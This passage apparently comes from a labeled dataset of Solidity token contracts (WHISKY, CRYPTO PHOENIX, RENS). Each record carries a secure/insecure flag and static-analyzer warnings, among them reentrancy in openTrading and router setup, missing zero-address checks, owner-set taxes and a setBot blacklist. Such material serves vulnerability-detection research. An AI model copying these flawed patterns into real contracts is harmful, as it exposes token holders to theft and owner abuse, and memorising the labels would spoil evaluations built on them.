abdad37: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 41d883e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 41d883e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 697df92\n\t\t// reentrancy-eth | ID: 41d883e\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 697df92\n\t\t// unused-return | ID: abdad37\n\t\t// reentrancy-eth | ID: 41d883e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 697df92\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: 697df92\n cooldownEnabled = true;\n\t\t// reentrancy-benign | ID: 697df92\n _maxTxAmount = 50000000000 * 10 ** 9;\n\t\t// reentrancy-eth | ID: 41d883e\n tradingOpen = true;\n\t\t// unused-return | ID: 191fab9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function setBot(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 7686fa9\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 7686fa9\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: c71ea71\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 7686fa9\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 7686fa9\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: 4ed2b30\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet1);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n uint256 TeamFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(taxFee).div(100);\n uint256 tTeam = tAmount.mul(TeamFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fd250c5): WHISKY._setMaxTxAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for fd250c5: Emit an event for critical parameter changes.\n function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner {\n if (maxTxAmount > 1000000000 * 10 ** 9) {\n\t\t\t// events-maths | ID: fd250c5\n _maxTxAmount = maxTxAmount;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5279743): WHISKY._setSellTax(uint256) should emit an event for _sellTax = sellTax \n\t// Recommendation for 5279743: Emit an event for critical parameter changes.\n function _setSellTax(uint256 sellTax) external onlyOwner {\n if (sellTax < 10) {\n\t\t\t// events-maths | ID: 5279743\n _sellTax = sellTax;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 710b1ac): WHISKY._setBuyTax(uint256) should emit an event for _buyTax = buyTax \n\t// Recommendation for 710b1ac: Emit an event for critical parameter changes.\n function _setBuyTax(uint256 buyTax) external onlyOwner {\n if (buyTax < 10) {\n\t\t\t// events-maths | ID: 710b1ac\n _buyTax = buyTax;\n }\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n}",
"file_name": "solidity_code_2650.sol",
"secure": 0,
"size_bytes": 19157
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n address private _previousOwner;\n uint256 private _lockTime;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n function owner() public view returns (address) {\n return _owner;\n }\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n function getUnlockTime() public view returns (uint256) {\n return _lockTime;\n }\n function lock(uint256 time) public virtual onlyOwner {\n _previousOwner = _owner;\n _owner = address(0);\n _lockTime = block.timestamp + time;\n emit OwnershipTransferred(_owner, address(0));\n }\n function unlock() public virtual {\n require(\n _previousOwner == msg.sender,\n \"Only the previous owner can unlock onwership\"\n );\n\t\t// timestamp | ID: 972c801\n require(block.timestamp > _lockTime, \"The contract is still locked\");\n emit OwnershipTransferred(_owner, _previousOwner);\n _owner = _previousOwner;\n }\n}",
"file_name": "solidity_code_2651.sol",
"secure": 1,
"size_bytes": 1909
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Manageable is Context {\n address private _manager;\n event ManagementTransferred(\n address indexed previousManager,\n address indexed newManager\n );\n constructor() {\n address msgSender = _msgSender();\n _manager = msgSender;\n emit ManagementTransferred(address(0), msgSender);\n }\n function manager() public view returns (address) {\n return _manager;\n }\n modifier onlyManager() {\n require(\n _manager == _msgSender(),\n \"Manageable: caller is not the manager\"\n );\n _;\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 27a140d): Manageable.transferManagement(address).newManager lacks a zerocheck on \t _manager = newManager\n\t// Recommendation for 27a140d: Check that the address is not zero.\n function transferManagement(\n address newManager\n ) external virtual onlyManager {\n emit ManagementTransferred(_manager, newManager);\n\t\t// missing-zero-check | ID: 27a140d\n _manager = newManager;\n }\n}",
"file_name": "solidity_code_2652.sol",
"secure": 0,
"size_bytes": 1232
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\nabstract contract Tokenomics {\n using SafeMath for uint256;\n\n string internal constant NAME = \"CRYPTO PHOENIX\";\n string internal constant SYMBOL = \"$CPHX\";\n\n uint16 internal constant FEES_DIVISOR = 10 ** 3;\n uint8 internal constant DECIMALS = 18;\n uint256 internal constant ZEROES = 10 ** DECIMALS;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 internal constant TOTAL_SUPPLY = 1000000000000000 * ZEROES;\n uint256 internal _reflectedSupply = (MAX - (MAX % TOTAL_SUPPLY));\n\n uint256 internal constant maxTransactionAmount = TOTAL_SUPPLY / 40;\n\n uint256 internal constant maxWalletBalance = TOTAL_SUPPLY / 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e286cef): Tokenomics.dev1Address should be constant \n\t// Recommendation for e286cef: Add the 'constant' attribute to state variables that never change.\n address internal dev1Address = 0x75d9ea6fAfdBEdB2Ce00B76622Aa0DF1B68CaaF6;\n\t// WARNING Optimization Issue (constable-states | ID: 4bda209): Tokenomics.dev2Address should be constant \n\t// Recommendation for 4bda209: Add the 'constant' attribute to state variables that never change.\n address internal dev2Address = 0x35EF633803aE3918f37571AF741bC39Ad11e3Eaa;\n\t// WARNING Optimization Issue (constable-states | ID: 697f67a): Tokenomics.dev3Address should be constant \n\t// Recommendation for 697f67a: Add the 'constant' attribute to state variables that never change.\n address internal dev3Address = 0xfdAF289C815701d2b1b7b34340af584A9fABD2D8;\n\t// WARNING Optimization Issue (constable-states | ID: 783cc74): Tokenomics.dev4Address should be constant \n\t// Recommendation for 783cc74: Add the 'constant' attribute to state variables that never change.\n address internal dev4Address = 0x641E8274ce7513e2df215FcAD97515165019C497;\n\n\t// WARNING Optimization Issue (constable-states | ID: b93c07f): Tokenomics.burnAddress should be constant \n\t// Recommendation for b93c07f: Add the 'constant' attribute to state variables that never change.\n address internal burnAddress = 0x0000000000000000000000000000000000000000;\n\n enum FeeType {\n Antiwhale,\n Burn,\n Rfi,\n External,\n ExternalToETH\n }\n struct Fee {\n FeeType name;\n uint256 value;\n address recipient;\n uint256 total;\n }\n\n Fee[] internal fees;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2a33eeb): BaseRfiToken._takeFees(uint256,uint256,uint256).sumOfFees shadows Tokenomics.sumOfFees (state variable)\n\t// Recommendation for 2a33eeb: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c723f81): BaseRfiToken._transferTokens(address,address,uint256,bool).sumOfFees shadows Tokenomics.sumOfFees (state variable)\n\t// Recommendation for c723f81: Rename the local variables that shadow another component.\n uint256 internal sumOfFees;\n\n constructor() {\n _addFees();\n }\n\n function _addFee(FeeType name, uint256 value, address recipient) private {\n fees.push(Fee(name, value, recipient, 0));\n sumOfFees += value;\n }\n\n function _addFees() private {\n _addFee(FeeType.Rfi, 20, address(this));\n\n _addFee(FeeType.Burn, 160, burnAddress);\n _addFee(FeeType.External, 10, dev1Address);\n _addFee(FeeType.External, 10, dev2Address);\n _addFee(FeeType.External, 10, dev3Address);\n _addFee(FeeType.External, 10, dev4Address);\n }\n\n function _getFeesCount() internal view returns (uint256) {\n return fees.length;\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: fac04d8): Tokenomics._getFeeStruct(uint256) contains a tautology or contradiction require(bool,string)(index >= 0 && index < fees.length,FeesSettings._getFeeStruct Fee index out of bounds)\n\t// Recommendation for fac04d8: Fix the incorrect comparison by changing the value type or the comparison.\n function _getFeeStruct(uint256 index) private view returns (Fee storage) {\n\t\t// tautology | ID: fac04d8\n require(\n index >= 0 && index < fees.length,\n \"FeesSettings._getFeeStruct: Fee index out of bounds\"\n );\n return fees[index];\n }\n function _getFee(\n uint256 index\n ) internal view returns (FeeType, uint256, address, uint256) {\n Fee memory fee = _getFeeStruct(index);\n return (fee.name, fee.value, fee.recipient, fee.total);\n }\n function _addFeeCollectedAmount(uint256 index, uint256 amount) internal {\n Fee storage fee = _getFeeStruct(index);\n fee.total = fee.total.add(amount);\n }\n\n function getCollectedFeeTotal(\n uint256 index\n ) internal view returns (uint256) {\n Fee memory fee = _getFeeStruct(index);\n return fee.total;\n }\n}",
"file_name": "solidity_code_2653.sol",
"secure": 0,
"size_bytes": 5050
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Manageable.sol\" as Manageable;\n\nabstract contract Presaleable is Manageable {\n bool internal isInPresale;\n function setPreseableEnabled(bool value) external onlyManager {\n isInPresale = value;\n }\n}",
"file_name": "solidity_code_2654.sol",
"secure": 1,
"size_bytes": 298
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./Presaleable.sol\" as Presaleable;\nimport \"./Tokenomics.sol\" as Tokenomics;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nabstract contract BaseRfiToken is\n IERC20,\n IERC20Metadata,\n Ownable,\n Presaleable,\n Tokenomics\n{\n using SafeMath for uint256;\n using Address for address;\n\n mapping(address => uint256) internal _reflectedBalances;\n mapping(address => uint256) internal _balances;\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n mapping(address => bool) internal _isExcludedFromFee;\n mapping(address => bool) internal _isExcludedFromRewards;\n address[] private _excluded;\n constructor() {\n _reflectedBalances[owner()] = _reflectedSupply;\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n\n _exclude(owner());\n _exclude(address(this));\n\n emit Transfer(address(0), owner(), TOTAL_SUPPLY);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1859e58): PhoenixAbstract._takeTransactionFees(uint256,uint256).name shadows BaseRfiToken.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 1859e58: Rename the local variables that shadow another component.\n function name() external pure override returns (string memory) {\n return NAME;\n }\n function symbol() external pure override returns (string memory) {\n return SYMBOL;\n }\n function decimals() external pure override returns (uint8) {\n return DECIMALS;\n }\n\n function totalSupply() external pure override returns (uint256) {\n return TOTAL_SUPPLY;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcludedFromRewards[account]) return _balances[account];\n return tokenFromReflection(_reflectedBalances[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e93b577): BaseRfiToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e93b577: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function burn(uint256 amount) external {\n address sender = _msgSender();\n require(\n sender != address(0),\n \"BaseRfiToken: burn from the zero address\"\n );\n require(\n sender != address(burnAddress),\n \"BaseRfiToken: burn from the burn address\"\n );\n\n uint256 balance = balanceOf(sender);\n require(balance >= amount, \"BaseRfiToken: burn amount exceeds balance\");\n\n uint256 reflectedAmount = amount.mul(_getCurrentRate());\n\n _reflectedBalances[sender] = _reflectedBalances[sender].sub(\n reflectedAmount\n );\n if (_isExcludedFromRewards[sender])\n _balances[sender] = _balances[sender].sub(amount);\n\n _burnTokens(sender, amount, reflectedAmount);\n }\n\n function _burnTokens(\n address sender,\n uint256 tBurn,\n uint256 rBurn\n ) internal {\n _reflectedBalances[burnAddress] = _reflectedBalances[burnAddress].add(\n rBurn\n );\n if (_isExcludedFromRewards[burnAddress])\n _balances[burnAddress] = _balances[burnAddress].add(tBurn);\n\n emit Transfer(sender, burnAddress, tBurn);\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcludedFromReward(\n address account\n ) external view returns (bool) {\n return _isExcludedFromRewards[account];\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) external view returns (uint256) {\n require(tAmount <= TOTAL_SUPPLY, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , ) = _getValues(tAmount, 0);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , ) = _getValues(\n tAmount,\n _getSumOfFees(_msgSender(), tAmount)\n );\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) internal view returns (uint256) {\n require(\n rAmount <= _reflectedSupply,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getCurrentRate();\n return rAmount.div(currentRate);\n }\n\n function excludeFromReward(address account) external onlyOwner {\n require(!_isExcludedFromRewards[account], \"Account is not included\");\n _exclude(account);\n }\n\n function _exclude(address account) internal {\n if (_reflectedBalances[account] > 0) {\n _balances[account] = tokenFromReflection(\n _reflectedBalances[account]\n );\n }\n _isExcludedFromRewards[account] = true;\n _excluded.push(account);\n }\n\n function includeInReward(address account) external onlyOwner {\n require(_isExcludedFromRewards[account], \"Account is not excluded\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _balances[account] = 0;\n _isExcludedFromRewards[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n function setExcludedFromFee(\n address account,\n bool value\n ) external onlyOwner {\n _isExcludedFromFee[account] = value;\n }\n function isExcludedFromFee(address account) public view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: edafe8f): BaseRfiToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for edafe8f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(\n owner != address(0),\n \"BaseRfiToken: approve from the zero address\"\n );\n require(\n spender != address(0),\n \"BaseRfiToken: approve to the zero address\"\n );\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _isUnlimitedSender(address account) internal view returns (bool) {\n return (account == owner());\n }\n\n function _isUnlimitedRecipient(\n address account\n ) internal view returns (bool) {\n return (account == owner() || account == burnAddress);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(\n sender != address(0),\n \"BaseRfiToken: transfer from the zero address\"\n );\n require(\n recipient != address(0),\n \"BaseRfiToken: transfer to the zero address\"\n );\n require(\n sender != address(burnAddress),\n \"BaseRfiToken: transfer from the burn address\"\n );\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takeFee = true;\n\n if (isInPresale) {\n takeFee = false;\n } else {\n if (\n amount > maxTransactionAmount &&\n !_isUnlimitedSender(sender) &&\n !_isUnlimitedRecipient(recipient)\n ) {\n revert(\"Transfer amount exceeds the maxTxAmount.\");\n }\n\n if (\n maxWalletBalance > 0 &&\n !_isUnlimitedSender(sender) &&\n !_isUnlimitedRecipient(recipient) &&\n !_isV2Pair(recipient)\n ) {\n uint256 recipientBalance = balanceOf(recipient);\n require(\n recipientBalance + amount <= maxWalletBalance,\n \"New balance would exceed the maxWalletBalance\"\n );\n }\n }\n\n if (_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]) {\n takeFee = false;\n }\n\n _transferTokens(sender, recipient, amount, takeFee);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c723f81): BaseRfiToken._transferTokens(address,address,uint256,bool).sumOfFees shadows Tokenomics.sumOfFees (state variable)\n\t// Recommendation for c723f81: Rename the local variables that shadow another component.\n function _transferTokens(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n uint256 sumOfFees = _getSumOfFees(sender, amount);\n if (!takeFee) {\n sumOfFees = 0;\n }\n\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 tAmount,\n uint256 tTransferAmount,\n uint256 currentRate\n ) = _getValues(amount, sumOfFees);\n\n _reflectedBalances[sender] = _reflectedBalances[sender].sub(rAmount);\n _reflectedBalances[recipient] = _reflectedBalances[recipient].add(\n rTransferAmount\n );\n\n if (_isExcludedFromRewards[sender]) {\n _balances[sender] = _balances[sender].sub(tAmount);\n }\n if (_isExcludedFromRewards[recipient]) {\n _balances[recipient] = _balances[recipient].add(tTransferAmount);\n }\n\n _takeFees(amount, currentRate, sumOfFees);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2a33eeb): BaseRfiToken._takeFees(uint256,uint256,uint256).sumOfFees shadows Tokenomics.sumOfFees (state variable)\n\t// Recommendation for 2a33eeb: Rename the local variables that shadow another component.\n function _takeFees(\n uint256 amount,\n uint256 currentRate,\n uint256 sumOfFees\n ) private {\n if (sumOfFees > 0 && !isInPresale) {\n _takeTransactionFees(amount, currentRate);\n }\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 517a5f1): BaseRfiToken._getValues(uint256,uint256) performs a multiplication on the result of a division tTotalFees = tAmount.mul(feesSum).div(FEES_DIVISOR) rTotalFees = tTotalFees.mul(currentRate)\n\t// Recommendation for 517a5f1: Consider ordering multiplication before division.\n function _getValues(\n uint256 tAmount,\n uint256 feesSum\n ) internal view returns (uint256, uint256, uint256, uint256, uint256) {\n\t\t// divide-before-multiply | ID: 517a5f1\n uint256 tTotalFees = tAmount.mul(feesSum).div(FEES_DIVISOR);\n uint256 tTransferAmount = tAmount.sub(tTotalFees);\n uint256 currentRate = _getCurrentRate();\n uint256 rAmount = tAmount.mul(currentRate);\n\t\t// divide-before-multiply | ID: 517a5f1\n uint256 rTotalFees = tTotalFees.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rTotalFees);\n\n return (\n rAmount,\n rTransferAmount,\n tAmount,\n tTransferAmount,\n currentRate\n );\n }\n\n function _getCurrentRate() internal view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() internal view returns (uint256, uint256) {\n uint256 rSupply = _reflectedSupply;\n uint256 tSupply = TOTAL_SUPPLY;\n\n\t\t// cache-array-length | ID: 6ed6dcf\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _reflectedBalances[_excluded[i]] > rSupply ||\n _balances[_excluded[i]] > tSupply\n ) return (_reflectedSupply, TOTAL_SUPPLY);\n rSupply = rSupply.sub(_reflectedBalances[_excluded[i]]);\n tSupply = tSupply.sub(_balances[_excluded[i]]);\n }\n if (tSupply == 0 || rSupply < _reflectedSupply.div(TOTAL_SUPPLY))\n return (_reflectedSupply, TOTAL_SUPPLY);\n return (rSupply, tSupply);\n }\n\n function _getSumOfFees(\n address sender,\n uint256 amount\n ) internal view virtual returns (uint256);\n\n function _isV2Pair(address account) internal view virtual returns (bool);\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2d723f5): BaseRfiToken._redistribute(uint256,uint256,uint256,uint256) performs a multiplication on the result of a division tFee = amount.mul(fee).div(FEES_DIVISOR) rFee = tFee.mul(currentRate)\n\t// Recommendation for 2d723f5: Consider ordering multiplication before division.\n function _redistribute(\n uint256 amount,\n uint256 currentRate,\n uint256 fee,\n uint256 index\n ) internal {\n\t\t// divide-before-multiply | ID: 2d723f5\n uint256 tFee = amount.mul(fee).div(FEES_DIVISOR);\n\t\t// divide-before-multiply | ID: 2d723f5\n uint256 rFee = tFee.mul(currentRate);\n\n _reflectedSupply = _reflectedSupply.sub(rFee);\n _addFeeCollectedAmount(index, tFee);\n }\n\n function _takeTransactionFees(\n uint256 amount,\n uint256 currentRate\n ) internal virtual;\n}",
"file_name": "solidity_code_2655.sol",
"secure": 0,
"size_bytes": 15598
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract RENS is ERC20 {\n constructor() ERC20(\"RENS\", \"RENS\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2656.sol",
"secure": 1,
"size_bytes": 266
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./Manageable.sol\" as Manageable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\nabstract contract UniHelper is Ownable, Manageable {\n using SafeMath for uint256;\n\n uint256 private withdrawableBalance;\n\n enum Env {\n Testnet,\n MainnetV2,\n MainnetV3\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3e2d881): PhoenixAbstract.constructor(UniHelper.Env)._env shadows UniHelper._env (state variable)\n\t// Recommendation for 3e2d881: Rename the local variables that shadow another component.\n Env private _env;\n\n address private _mainnetRouterV2Address =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n IUniswapV2Router internal _router;\n address internal _pair;\n\n uint256 private maxTransactionAmount;\n\n event RouterSet(address indexed router);\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 5a7a08d): Contract locking ether found Contract CRYPTOPHOENIX has payable functions UniHelper.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 5a7a08d: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0208ca6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0208ca6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function initializeRouterPair(Env env, uint256 maxTx) internal {\n _env = env;\n\t\t// reentrancy-benign | ID: 0208ca6\n _setRouterAddress(_mainnetRouterV2Address);\n\n\t\t// reentrancy-benign | ID: 0208ca6\n maxTransactionAmount = maxTx;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d774847): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d774847: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d5ac95e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d5ac95e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _setRouterAddress(address router) private {\n IUniswapV2Router _newUniswapRouter = IUniswapV2Router(router);\n\t\t// reentrancy-events | ID: d774847\n\t\t// reentrancy-benign | ID: 0208ca6\n\t\t// reentrancy-benign | ID: d5ac95e\n _pair = IUniswapV2Factory(_newUniswapRouter.factory()).createPair(\n address(this),\n _newUniswapRouter.WETH()\n );\n\t\t// reentrancy-benign | ID: d5ac95e\n _router = _newUniswapRouter;\n\t\t// reentrancy-events | ID: d774847\n emit RouterSet(router);\n }\n\n function setRouterAddress(address router) external onlyManager {\n _setRouterAddress(router);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7e12141): UniHelper._approveDelegate(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7e12141: Rename the local variables that shadow another component.\n function _approveDelegate(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual;\n}",
"file_name": "solidity_code_2657.sol",
"secure": 0,
"size_bytes": 4023
} |
{
